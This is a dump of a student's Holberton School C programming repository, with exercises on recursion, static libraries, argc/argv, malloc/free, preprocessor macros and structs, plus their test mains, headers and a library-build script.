-------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * main - check the code for Holberton School students. 5 | * 6 | * Return: Always 0. 7 | */ 8 | int main(void) 9 | { 10 | _print_rev_recursion("\nColton Walker"); 11 | return (0); 12 | } 13 | -------------------------------------------------------------------------------- /0x08-recursion/1-print_rev_recursion.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _print_rev_recursion - print a string in reverse 5 | * @s: a pointer to the string to print in reverse 6 | * 7 | * Return: void 8 | */ 9 | void _print_rev_recursion(char *s) 10 | { 11 | if (*s) 12 | { 13 | _print_rev_recursion(s + 1); 14 | _putchar(*s); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /0x08-recursion/2-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | int n; 12 | 13 | n = _strlen_recursion("Corbin Coleman"); 14 | printf("%d\n", n); 15 | return (0); 16 | } 17 | -------------------------------------------------------------------------------- /0x08-recursion/2-strlen_recursion.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _strlen_recursion - calculate length of a string 5 | * @s: a pointer to the string to find the length of 6 | * 7 | * Return: the length of s 8 | */ 9 | int _strlen_recursion(char *s) 10 | { 11 | return (*s ? _strlen_recursion(s + 1) + 1 : 0); 12 | } 13 | -------------------------------------------------------------------------------- /0x08-recursion/3-factorial.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * factorial - compute the factorial of a number 5 | * @n: the number to operate on 6 | * 7 | * Return: the factorial of n 8 | */ 9 | int factorial(int n) 10 | { 11 | if (n < 0) 12 | return (-1); 13 | return (n > 1 ? n * factorial(n - 1) : 1); 14 | } 15 | -------------------------------------------------------------------------------- /0x08-recursion/3-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | int r; 12 | 13 | r = factorial(1); 14 | printf("%d\n", r); 15 | r = factorial(5); 16 | printf("%d\n", r); 17 | r = factorial(10); 18 | printf("%d\n", r); 19 | r = factorial(-1024); 20 | printf("%d\n", r); 21 | return (0); 22 | } 23 | -------------------------------------------------------------------------------- /0x08-recursion/4-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | int r; 12 | 13 | r = _pow_recursion(1, 10); 14 | printf("%d\n", r); 15 | r = _pow_recursion(1024, 0); 16 | printf("%d\n", r); 17 | r = _pow_recursion(2, 16); 18 | printf("%d\n", r); 19 | r = _pow_recursion(5, 2); 20 | printf("%d\n", r); 21 | r = _pow_recursion(5, -2); 22 | printf("%d\n", r); 23 | r = _pow_recursion(-5, 3); 24 | printf("%d\n", r); 25 | return (0); 26 | } 27 | -------------------------------------------------------------------------------- /0x08-recursion/4-pow_recursion.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _pow_recursion - compute x to the power of y 5 | * @x: the base 6 | * @y: the exponent 7 | * 8 | * Return: x to the power of y 9 | */ 10 | int _pow_recursion(int x, int y) 11 | { 12 | if (y < 0) 13 | return (-1); 14 | return (y > 0 ? x * _pow_recursion(x, y - 1) : 1); 15 | } 16 | -------------------------------------------------------------------------------- /0x08-recursion/5-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | int r; 12 | 13 | r = _sqrt_recursion(1); 14 | printf("%d\n", r); 15 | r = _sqrt_recursion(1024); 16 | printf("%d\n", r); 17 | r = _sqrt_recursion(16); 18 | printf("%d\n", r); 19 | r = _sqrt_recursion(17); 20 | printf("%d\n", r); 21 | r = _sqrt_recursion(25); 22 | printf("%d\n", r); 23 | r = _sqrt_recursion(-1); 24 | printf("%d\n", r); 25 | return (0); 26 | } 27 | -------------------------------------------------------------------------------- /0x08-recursion/5-sqrt_recursion.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * __sqrt_recursion - helper for _sqrt_recursion 5 | * @n: the number to compute the square root of 6 | * @m: the current divisor to test 7 | * 8 | * Return: the natural square root of n, 9 | * or -1 if n has no natural square root 10 | */ 11 | int __sqrt_recursion(int n, int m) 12 | { 13 | if (m * m < n) 14 | return (__sqrt_recursion(n, m + 1)); 15 | return (m * m == n ? m : -1); 16 | 17 | } 18 | 19 | /** 20 | * _sqrt_recursion - compute the square root of a number 21 | * @n: the number to compute the square root of 22 | * 23 | * Return: the natural square root of n, 24 | * or -1 if n has no natural square root 25 | */ 26 | int _sqrt_recursion(int n) 27 | { 28 | return (__sqrt_recursion(n, 0)); 29 | } 30 | -------------------------------------------------------------------------------- /0x08-recursion/6-is_prime_number.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * __is_prime_number - helper for is_prime_number 5 | * @n: the number to check 6 | * @m: the current divisor 7 | * 8 | * Return: 1 if n is prime, otherwise 0. 9 | */ 10 | int __is_prime_number(int n, int m) 11 | { 12 | if (n % m == 0) 13 | return (0); 14 | if (n < m * 2) 15 | return (1); 16 | 17 | return (__is_prime_number(n, m + 1)); 18 | } 19 | 20 | /** 21 | * is_prime_number - determine if a number is prime 22 | * @n: the number to check 23 | * 24 | * Return: 1 if the number is prime, otherwise 0. 25 | */ 26 | int is_prime_number(int n) 27 | { 28 | if (n < 4) 29 | return (n > 1); 30 | 31 | return (__is_prime_number(n, 2)); 32 | } 33 | -------------------------------------------------------------------------------- /0x08-recursion/7-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | int r; 12 | 13 | r = is_palindrome("level"); 14 | printf("%d\n", r); 15 | r = is_palindrome("redder"); 16 | printf("%d\n", r); 17 | r = is_palindrome("holberton"); 18 | printf("%d\n", r); 19 | r = is_palindrome("step on no pets"); 20 | printf("%d\n", r); 21 | return (0); 22 | } 23 | -------------------------------------------------------------------------------- /0x08-recursion/_putchar.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * _putchar - writes the character c to stdout 5 | * @c: The character to print 6 | * 7 | * Return: On success 1. 8 | * On error, -1 is returned, and errno is set appropriately. 9 | */ 10 | int _putchar(char c) 11 | { 12 | return (write(1, &c, 1)); 13 | } 14 | -------------------------------------------------------------------------------- /0x08-recursion/holberton.h: -------------------------------------------------------------------------------- 1 | #ifndef HOLBERTON_H 2 | #define HOLBERTON_H 3 | 4 | #include 5 | #include 6 | 7 | int _putchar(char c); 8 | void _puts_recursion(char *s); 9 | void _print_rev_recursion(char *s); 10 | int _strlen_recursion(char *s); 11 | int factorial(int n); 12 | int _pow_recursion(int x, int y); 13 | int _sqrt_recursion(int n); 14 | int is_prime_number(int n); 15 | int is_palindrome(char *s); 16 | int wildcmp(char *s1, char *s2); 17 | 18 | #endif /* HOLBERTON_H */ -------------------------------------------------------------------------------- /0x09-static_libraries/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore all files that aren't C source code or README.md 2 | 3 | * 4 | !.gitignore 5 | !README.md 6 | !*.sh 7 | !*.h 8 | !*.a 9 | -------------------------------------------------------------------------------- /0x09-static_libraries/README.md: -------------------------------------------------------------------------------- 1 | # 0x09. C - Static libraries 2 | ### Intro to static libraries 3 | -------------------------------------------------------------------------------- /0x09-static_libraries/create_static_lib.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | files=( *.c ) 3 | gcc -c -Wall -Werror -Wextra -pedantic "${files[@]}" 4 | ar -rc liball.a "${files[@]/%.c/.o}" 5 | rm "${files[@]/%.c/.o}" 6 | -------------------------------------------------------------------------------- /0x09-static_libraries/libholberton.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p5kd5o/holbertonschool-low_level_programming/124f1060b82e00196337e369a38b1331a89dc137/0x09-static_libraries/libholberton.a -------------------------------------------------------------------------------- /0x0A-argc_argv/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore all files that aren't C source code or README.md 2 | 3 | * 4 | !.gitignore 5 | !README.md 6 | !*.c 7 | !*.h 8 | -------------------------------------------------------------------------------- /0x0A-argc_argv/0-whatsmyname.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | 4 | /** 5 | * _puts - print a string, followed by a new line 6 | * @str: the string to print 7 | * 8 | * Return: void 9 | */ 10 | void _puts(char *str) 11 | { 12 | while (*str) 13 | _putchar(*str++); 14 | _putchar('\n'); 15 | } 16 | 17 | 18 | /** 19 | * main - print the name of the program 20 | * @argc: size of the argument vector 21 | * @argv: program name and arguments 22 | * 23 | * Return: Always 0 24 | */ 25 | int main(int argc __attribute__ ((unused)), char *argv[]) 26 | { 27 | _puts(argv[0]); 28 | 29 | return (0); 30 | } 31 | -------------------------------------------------------------------------------- /0x0A-argc_argv/2-args.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | 4 | /** 5 | * _puts - print a string, followed by a new line 6 | * @str: the string to print 7 | * 8 | * Return: void 9 | */ 10 | void _puts(char *str) 11 | { 12 | while (*str) 13 | _putchar(*str++); 14 | _putchar('\n'); 15 | } 16 | 17 | 18 | /** 19 | * main - print the program name and arguments 20 | * @argc: size of the argument vector 21 | * @argv: program name and arguments 22 | * 23 | * Return: Always 0 24 | */ 25 | int main(int argc, char *argv[]) 26 | { 27 | do { 28 | _puts(*argv++); 29 | } while (--argc > 0); 30 | 31 | return (0); 32 | } 33 | -------------------------------------------------------------------------------- /0x0A-argc_argv/README.md: -------------------------------------------------------------------------------- 1 | # 0x0A. C - argc, argv 2 | ### Arguments to main 3 | -------------------------------------------------------------------------------- /0x0A-argc_argv/_putchar.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * _putchar - writes the character c to stdout 5 | * @c: The character to print 6 | * 7 | * Return: On success 1. 8 | * On error, -1 is returned, and errno is set appropriately. 9 | */ 10 | int _putchar(char c) 11 | { 12 | return (write(1, &c, 1)); 13 | } 14 | -------------------------------------------------------------------------------- /0x0A-argc_argv/holberton.h: -------------------------------------------------------------------------------- 1 | #ifndef HOLBERTON_H 2 | #define HOLBERTON_H 3 | 4 | #include 5 | #include 6 | 7 | int _putchar(char); 8 | void _puts(char *); 9 | void print_number(int); 10 | int _atoi(char *); 11 | int isnumber(char *); 12 | int subtract_largest_coin(int); 13 | 14 | #endif /* HOLBERTON_H */ 15 | -------------------------------------------------------------------------------- /0x0B-malloc_free/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore all files that aren't C source code or README.md 2 | 3 | * 4 | !.gitignore 5 | !README.md 6 | !*.c 7 | !*.h 8 | -------------------------------------------------------------------------------- /0x0B-malloc_free/0-create_array.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * create_array - create an array of and initialize it with a specific value 5 | * @size: the desired size of the array 6 | * @c: the value with which the array should be initialized 7 | * 8 | * Return: NULL if size is 0 or memory allocation fails, 9 | * otherwise 0 10 | */ 11 | char *create_array(unsigned int size, char c) 12 | { 13 | char *array; 14 | 15 | if (!size) 16 | return (NULL); 17 | 18 | array = (char *) malloc(sizeof(char) * size); 19 | 20 | if (array) 21 | { 22 | while (size > 0) 23 | array[--size] = c; 24 | } 25 | return (array); 26 | } 27 | -------------------------------------------------------------------------------- /0x0B-malloc_free/1-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | #include 4 | 5 | /** 6 | * main - check the code for Holberton School students. 7 | * 8 | * Return: Always 0. 9 | */ 10 | int main(void) 11 | { 12 | char *s; 13 | 14 | s = _strdup("Holberton"); 15 | if (s == NULL) 16 | { 17 | printf("failed to allocate memory\n"); 18 | return (1); 19 | } 20 | printf("%s\n", s); 21 | free(s); 22 | return (0); 23 | } 24 | -------------------------------------------------------------------------------- /0x0B-malloc_free/1-strdup.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _strdup - create a new array containing a copy of the given string 5 | * @str: a pointer to the string to copy 6 | * 7 | * Return: NULL if str is NULL or if memory allocation fails, 8 | * otherwise a return a pointer to the new copy 9 | */ 10 | char *_strdup(char *str) 11 | { 12 | char *dup; 13 | unsigned int size = 0; 14 | 15 | if (str) 16 | { 17 | while (str[size++]) 18 | ; 19 | 20 | dup = malloc(sizeof(char) * size); 21 | if (dup) 22 | { 23 | while (size--) 24 | dup[size] = str[size]; 25 | 26 | return (dup); 27 | } 28 | } 29 | return (NULL); 30 | } 31 | -------------------------------------------------------------------------------- /0x0B-malloc_free/2-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | #include 4 | 5 | /** 6 | * main - check the code for Holberton School students. 7 | * 8 | * Return: Always 0. 9 | */ 10 | int main(void) 11 | { 12 | char *s; 13 | 14 | s = str_concat("Betty ", "Holberton"); 15 | if (s == NULL) 16 | { 17 | printf("failed\n"); 18 | return (1); 19 | } 20 | printf("%s\n", s); 21 | free(s); 22 | return (0); 23 | } 24 | -------------------------------------------------------------------------------- /0x0B-malloc_free/4-free_grid.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * free_grid - free a 2-dimensional array created by alloc_grid 5 | * @grid: a pointer to the first column of the first row of the array 6 | * @height: the number of rows in the array 7 | * 8 | * Return: void 9 | */ 10 | void free_grid(int **grid, int height) 11 | { 12 | while (height) 13 | free(grid[--height]); 14 | free(grid); 15 | } 16 | -------------------------------------------------------------------------------- /0x0B-malloc_free/5-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | #include 4 | 5 | /** 6 | * main - check the code for Holberton School students. 7 | * 8 | * Return: Always 0. 9 | */ 10 | int main(int ac, char *av[]) 11 | { 12 | char *s; 13 | 14 | s = argstostr(ac, av); 15 | if (s == NULL) 16 | { 17 | return (1); 18 | } 19 | printf("%s", s); 20 | free(s); 21 | return (0); 22 | } 23 | -------------------------------------------------------------------------------- /0x0B-malloc_free/_putchar.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * _putchar - writes the character c to stdout 5 | * @c: The character to print 6 | * 7 | * Return: On success 1. 8 | * On error, -1 is returned, and errno is set appropriately. 9 | */ 10 | int _putchar(char c) 11 | { 12 | return (write(1, &c, 1)); 13 | } -------------------------------------------------------------------------------- /0x0B-malloc_free/holberton.h: -------------------------------------------------------------------------------- 1 | #ifndef HOLBERTON_H 2 | #define HOLBERTON_H 3 | 4 | #include 5 | #include 6 | 7 | int _putchar(char c); 8 | char *create_array(unsigned int size, char c); 9 | char *_strdup(char *str); 10 | char *str_concat(char *s1, char *s2); 11 | int **alloc_grid(int width, int height); 12 | void free_grid(int **grid, int height); 13 | char *argstostr(int ac, char **av); 14 | char **strtow(char *str); 15 | 16 | #endif /* HOLBERTON_H */ 17 | -------------------------------------------------------------------------------- /0x0C-more_malloc_free/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore all files that aren't C source code or README.md 2 | 3 | * 4 | !.gitignore 5 | !README.md 6 | !*.c 7 | !*.h 8 | -------------------------------------------------------------------------------- /0x0C-more_malloc_free/0-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | #include 4 | #include 5 | 6 | /** 7 | * main - check the code for Holberton School students. 8 | * 9 | * Return: Always 0. 10 | */ 11 | int main(void) 12 | { 13 | char *c; 14 | int *i; 15 | float *f; 16 | double *d; 17 | 18 | c = malloc_checked(sizeof(char) * 1024); 19 | printf("%p\n", (void *)c); 20 | i = malloc_checked(sizeof(int) * 402); 21 | printf("%p\n", (void *)i); 22 | f = malloc_checked(sizeof(float) * 100000000); 23 | printf("%p\n", (void *)f); 24 | d = malloc_checked(INT_MAX); 25 | printf("%p\n", (void *)d); 26 | free(c); 27 | free(i); 28 | free(f); 29 | free(d); 30 | return (0); 31 | } 32 | -------------------------------------------------------------------------------- /0x0C-more_malloc_free/0-malloc_checked.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * malloc_checked - allocate dynamic memory using malloc 5 | * @b: the number of bytes to allocate 6 | * 7 | * Description: If memory allocation fails, cause normal process termination 8 | * with a status value of 98. 9 | * 10 | * Return: Upon success, return a pointer to the newly allocated memory. 11 | */ 12 | void *malloc_checked(unsigned int b) 13 | { 14 | void *p = malloc(b); 15 | 16 | if (p) 17 | return (p); 18 | exit(98); 19 | } 20 | -------------------------------------------------------------------------------- /0x0C-more_malloc_free/1-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | #include 4 | 5 | /** 6 | * main - check the code for Holberton School students. 7 | * 8 | * Return: Always 0. 9 | */ 10 | int main(void) 11 | { 12 | char *concat; 13 | 14 | concat = string_nconcat("Holberton ", "School !!!", 6); 15 | printf("%s\n", concat); 16 | free(concat); 17 | return (0); 18 | } 19 | -------------------------------------------------------------------------------- /0x0C-more_malloc_free/3-array_range.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * array_range - create an array of integers containing a range of values 5 | * @min: the lower bound (included) 6 | * @max: the upper bound (included) 7 | * 8 | * Return: If memory allocation fails or max is less than max, return NULL. 9 | * Otherwise, return the newly created array. 10 | */ 11 | int *array_range(int min, int max) 12 | { 13 | int *range; 14 | unsigned int width; 15 | 16 | if (max < min) 17 | return (NULL); 18 | 19 | width = max - min; 20 | 21 | range = malloc(sizeof(int) * (width + 1)); 22 | if (!range) 23 | return (NULL); 24 | 25 | do { 26 | *range++ = min++; 27 | } while (min <= max); 28 | 29 | return (range - width - 1); 30 | } 31 | -------------------------------------------------------------------------------- /0x0C-more_malloc_free/README.md: -------------------------------------------------------------------------------- 1 | # 0x0C. C - More malloc, free 2 | 3 | ### Another look at malloc and free 4 | 5 | --- 6 | 7 | ### [0-malloc\_checked.c](./0-malloc_checked.c) 8 | * malloc\_checked - allocate dynamic memory using malloc 9 | 10 | 11 | ### [1-string\_nconcat.c](./1-string_nconcat.c) 12 | * string\_nconcat - concatenate two strings 13 | 14 | 15 | ### [2-calloc.c](./2-calloc.c) 16 | * \_calloc - dynamically allocate memory for an array and initialize it to zero 17 | 18 | 19 | ### [3-array\_range.c](./3-array_range.c) 20 | * array\_range - create an array of integers 21 | 22 | --- 23 | -------------------------------------------------------------------------------- /0x0C-more_malloc_free/_putchar.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * _putchar - writes the character c to stdout 5 | * @c: The character to print 6 | * 7 | * Return: On success 1. 8 | * On error, -1 is returned, and errno is set appropriately. 9 | */ 10 | int _putchar(char c) 11 | { 12 | return (write(1, &c, 1)); 13 | } -------------------------------------------------------------------------------- /0x0C-more_malloc_free/holberton.h: -------------------------------------------------------------------------------- 1 | #ifndef HOLBERTON_H 2 | #define HOLBERTON_H 3 | 4 | #include 5 | #include 6 | 7 | int _putchar(char c); 8 | void *malloc_checked(unsigned int b); 9 | char *string_nconcat(char *s1, char *s2, unsigned int n); 10 | void *_calloc(unsigned int nmemb, unsigned int size); 11 | int *array_range(int min, int max); 12 | void *_realloc(void *ptr, unsigned int old_size, unsigned int new_size); 13 | 14 | #endif /* HOLBERTON_H */ 15 | -------------------------------------------------------------------------------- /0x0D-preprocessor/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore all files that aren't C source code or README.md 2 | 3 | * 4 | !.gitignore 5 | !README.md 6 | !*.c 7 | !*.h 8 | -------------------------------------------------------------------------------- /0x0D-preprocessor/0-main.c: -------------------------------------------------------------------------------- 1 | #include "0-object_like_macro.h" 2 | #include "0-object_like_macro.h" 3 | #include 4 | 5 | /** 6 | * main - check the code for Holberton School students. 7 | * 8 | * Return: Always 0. 9 | */ 10 | int main(void) 11 | { 12 | int s; 13 | 14 | s = 98 + SIZE; 15 | printf("%d\n", s); 16 | return (0); 17 | } 18 | -------------------------------------------------------------------------------- /0x0D-preprocessor/0-object_like_macro.h: -------------------------------------------------------------------------------- 1 | #ifndef OBJECT_LIKE_MACRO_H 2 | #define OBJECT_LIKE_MACRO_H 3 | 4 | #define SIZE 1024 5 | 6 | #endif /* OBJECT_LIKE_MACRO_H */ 7 | -------------------------------------------------------------------------------- /0x0D-preprocessor/1-main.c: -------------------------------------------------------------------------------- 1 | #include "1-pi.h" 2 | #include "1-pi.h" 3 | #include 4 | 5 | /** 6 | * main - check the code for Holberton School students. 7 | * 8 | * Return: Always 0. 9 | */ 10 | int main(void) 11 | { 12 | float a; 13 | float r; 14 | 15 | r = 98; 16 | a = PI * r * r; 17 | printf("%.3f\n", a); 18 | return (0); 19 | } 20 | -------------------------------------------------------------------------------- /0x0D-preprocessor/1-pi.h: -------------------------------------------------------------------------------- 1 | #ifndef PI_H 2 | #define PI_H 3 | 4 | #define PI 3.14159265359 5 | 6 | #endif /* PI_H */ 7 | -------------------------------------------------------------------------------- /0x0D-preprocessor/101-preprocessor_abuse.c: -------------------------------------------------------------------------------- 1 | #warning Hello, Holberton 2 | -------------------------------------------------------------------------------- /0x0D-preprocessor/2-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | /** 5 | * main - entry point 6 | * 7 | * Return: Always 0 8 | */ 9 | int main(void) 10 | { 11 | printf("%s\n", __FILE__); 12 | return (0); 13 | } 14 | -------------------------------------------------------------------------------- /0x0D-preprocessor/3-function_like_macro.h: -------------------------------------------------------------------------------- 1 | #ifndef FUNCTION_LIKE_MACRO_H 2 | #define FUNCTION_LIKE_MACRO_H 3 | 4 | #define ABS(x) ((x) < 0 ? -(x) : (x)) 5 | 6 | #endif /* FUNCTION_LIKE_MACRO_H */ 7 | -------------------------------------------------------------------------------- /0x0D-preprocessor/3-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "3-function_like_macro.h" 3 | #include "3-function_like_macro.h" 4 | 5 | /** 6 | * main - check the code for Holberton School students. 7 | * 8 | * Return: Always 0. 9 | */ 10 | int main(void) 11 | { 12 | int i; 13 | int j; 14 | 15 | i = ABS(-98) * 10; 16 | j = ABS(98) * 10; 17 | printf("%d, %d\n", i, j); 18 | return (0); 19 | } 20 | -------------------------------------------------------------------------------- /0x0D-preprocessor/4-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "4-sum.h" 3 | #include "4-sum.h" 4 | 5 | /** 6 | * main - check the code for Holberton School students. 7 | * 8 | * Return: Always 0. 9 | */ 10 | int main(void) 11 | { 12 | int s; 13 | 14 | s = SUM(98, 1024); 15 | printf("%d\n", s); 16 | return (0); 17 | } 18 | -------------------------------------------------------------------------------- /0x0D-preprocessor/4-sum.h: -------------------------------------------------------------------------------- 1 | #ifndef SUM_H 2 | #define SUM_H 3 | 4 | #define SUM(x, y) ((x) + (y)) 5 | 6 | #endif /* SUM_H */ 7 | -------------------------------------------------------------------------------- /0x0D-preprocessor/_putchar.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * _putchar - writes the character c to stdout 5 | * @c: The character to print 6 | * 7 | * Return: On success 1. 8 | * On error, -1 is returned, and errno is set appropriately. 9 | */ 10 | int _putchar(char c) 11 | { 12 | return (write(1, &c, 1)); 13 | } -------------------------------------------------------------------------------- /0x0D-preprocessor/holberton.h: -------------------------------------------------------------------------------- 1 | #ifndef HOLBERTON_H 2 | #define HOLBERTON_H 3 | 4 | #include 5 | #include 6 | 7 | int _putchar(char c); 8 | 9 | #endif /* HOLBERTON_H */ -------------------------------------------------------------------------------- /0x0E-structures_typedef/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore all files that aren't C source code or README.md 2 | 3 | * 4 | !.gitignore 5 | !README.md 6 | !*.c 7 | !*.h 8 | -------------------------------------------------------------------------------- /0x0E-structures_typedef/0-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "dog.h" 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | struct dog my_dog; 12 | 13 | my_dog.name = "Django"; 14 | my_dog.age = 3.5; 15 | my_dog.owner = "Jay"; 16 | printf("My name is %s, and I am %.1f :) - Woof!\n", my_dog.name, my_dog.age); 17 | return (0); 18 | } 19 | -------------------------------------------------------------------------------- /0x0E-structures_typedef/1-init_dog.c: -------------------------------------------------------------------------------- 1 | #include "dog.h" 2 | 3 | 4 | /** 5 | * init_dog - initialize a variable of type struct dog 6 | * @d: a pointer to the struct dog variable 7 | * @name: the name of the dog 8 | * @age: the age of the dog 9 | * @owner: the name of the owner of the dog 10 | * 11 | * Return: void 12 | */ 13 | void init_dog(struct dog *d, char *name, float age, char *owner) 14 | { 15 | if (d) 16 | { 17 | d->name = name; 18 | d->age = age; 19 | d->owner = owner; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /0x0E-structures_typedef/1-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "dog.h" 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | struct dog my_dog; 12 | 13 | init_dog(&my_dog, "Django", 3.5, "Jay"); 14 | printf("My name is %s, and I am %.1f :) - Woof!\n", my_dog.name, my_dog.age); 15 | return (0); 16 | } 17 | -------------------------------------------------------------------------------- /0x0E-structures_typedef/2-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "dog.h" 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | struct dog my_dog; 12 | 13 | my_dog.name = "Django"; 14 | my_dog.age = 3.5; 15 | my_dog.owner = "Jay"; 16 | print_dog(&my_dog); 17 | return (0); 18 | } 19 | -------------------------------------------------------------------------------- /0x0E-structures_typedef/2-print_dog.c: -------------------------------------------------------------------------------- 1 | #include "dog.h" 2 | 3 | /** 4 | * print_dog - print a struct dog 5 | * @d: a pointer to the struct dog to print 6 | * 7 | * Return: void 8 | */ 9 | void print_dog(struct dog *d) 10 | { 11 | if (d) 12 | { 13 | printf("Name: %s\n", d->name ? d->name : "(nil)"); 14 | printf("Age: %.6f\n", d->age); 15 | printf("Owner: %s\n", d->owner ? d->owner : "(nil)"); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /0x0E-structures_typedef/3-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "dog.h" 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | dog_t my_dog; 12 | 13 | my_dog.name = "Django"; 14 | my_dog.age = 3.5; 15 | my_dog.owner = "Jay"; 16 | printf("My name is %s, and I am %.1f :) - Woof!\n", my_dog.name, my_dog.age); 17 | return (0); 18 | } 19 | -------------------------------------------------------------------------------- /0x0E-structures_typedef/4-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "dog.h" 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | dog_t *my_dog; 12 | 13 | my_dog = new_dog("Django", 3.5, "Jay"); 14 | printf("My name is %s, and I am %.1f :) - Woof!\n", my_dog->name, my_dog->age); 15 | return (0); 16 | } 17 | -------------------------------------------------------------------------------- /0x0E-structures_typedef/5-free_dog.c: -------------------------------------------------------------------------------- 1 | #include "dog.h" 2 | 3 | /** 4 | * free_dog - free a dog 5 | * @d: a pointer to the dog to free 6 | * 7 | * Return: void 8 | */ 9 | void free_dog(dog_t *d) 10 | { 11 | if (d) 12 | { 13 | free(d->name); 14 | free(d->owner); 15 | free(d); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /0x0E-structures_typedef/5-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "dog.h" 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | dog_t *my_dog; 12 | 13 | my_dog = new_dog("Django", 3.5, "Jay"); 14 | printf("My name is %s, and I am %.1f :) - Woof!\n", my_dog->name, my_dog->age); 15 | free_dog(my_dog); 16 | return (0); 17 | } 18 | -------------------------------------------------------------------------------- /0x0E-structures_typedef/_putchar.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * _putchar - writes the character c to stdout 5 | * @c: The character to print 6 | * 7 | * Return: On success 1. 8 | * On error, -1 is returned, and errno is set appropriately. 9 | */ 10 | int _putchar(char c) 11 | { 12 | return (write(1, &c, 1)); 13 | } -------------------------------------------------------------------------------- /0x0E-structures_typedef/dog.h: -------------------------------------------------------------------------------- 1 | #ifndef DOG_H 2 | #define DOG_H 3 | 4 | #include 5 | #include 6 | 7 | /** 8 | * struct dog - attributes of a dog 9 | * @name: the name of the dog 10 | * @age: the age of the dog 11 | * @owner: the name of the dog's owner 12 | */ 13 | struct dog 14 | { 15 | char *name; 16 | float age; 17 | char *owner; 18 | }; 19 | 20 | /** 21 | * dog_t - typedef for struct dog 22 | */ 23 | typedef struct dog dog_t; 24 | 25 | 26 | void init_dog(struct dog *d, char *name, float age, char *owner); 27 | void print_dog(struct dog *d); 28 | dog_t *new_dog(char *name, float age, char *owner); 29 | void free_dog(dog_t *d); 30 | 31 | 32 | #endif /* DOG_H */ 33 | -------------------------------------------------------------------------------- 